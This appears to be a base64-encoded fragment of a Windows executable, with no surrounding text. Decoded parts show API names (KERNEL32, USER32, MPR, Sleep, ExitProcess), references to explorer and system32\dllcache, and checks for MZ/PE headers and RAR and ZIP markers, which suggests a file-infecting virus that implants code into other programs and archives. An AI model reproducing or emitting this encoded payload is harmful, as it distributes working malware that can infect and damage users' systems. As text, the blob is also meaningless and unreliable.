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 ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAwAAADgAAIAEAAAA0AAAgAYAAADoAACADgAAABABAIAQAAAA SAEAgAAAAAAAAAAABAAAAAAAEQABAAAAYAEAgAIAAAB4AQCAAwAAAJABAIAEAAAAqAEAgAUA AADAAQCABgAAANgBAIAHAAAA8AEAgAgAAAAIAgCACQAAACACAIAKAAAAOAIAgAsAAABQAgCA DAAAAGgCAIANAAAAgAIAgA4AAACYAgCADwAAALACAIAQAAAAyAIAgBEAAADgAgCAAAAAAAAA AAAEAAAAAAABAMgAAAD4AgCAAAAAAAAAAAAEAAAAAAADAAcAAAAQAwCACAAAACgDAIAJAAAA QAMAgAAAAAAAAAAABAAAAAAABQDJAAAAWAMAgCwBAABwAwCALQEAAIgDAIAuAQAAoAMAgC8B AAC4AwCAAAAAAAAAAAAEAAAAAAABAAEAAADQAwCAAAAAAAAAAAAEAAAAAAABAAwEAADoAwAA AAAAAAAAAAAEAAAAAAABAAwEAAD4AwAAAAAAAAAAAAAEAAAAAAABAAwEAAAIBAAAAAAAAAAA AAAEAAAAAAABAAwEAAAYBAAAAAAAAAAAAAAEAAAAAAABAAwEAAAoBAAAAAAAAAAAAAAEAAAA AAABAAwEAAA4BAAAAAAAAAAAAAAEAAAAAAABAAwEAABIBAAAAAAAAAAAAAAEAAAAAAABAAwE AABYBAAAAAAAAAAAAAAEAAAAAAABAAwEAABoBAAAAAAAAAAAAAAEAAAAAAABAAwEAAB4BAAA AAAAAAAAAAAEAAAAAAABAAwEAACIBAAAAAAAAAAAAAAEAAAAAAABAAwEAACYBAAAAAAAAAAA AAAEAAAAAAABAAwEAACoBAAAAAAAAAAAAAAEAAAAAAABAAwEAAC4BAAAAAAAAAAAAAAEAAAA AAABAAwEAADIBAAAAAAAAAAAAAAEAAAAAAABAAwEAADYBAAAAAAAAAAAAAAEAAAAAAABAAwE 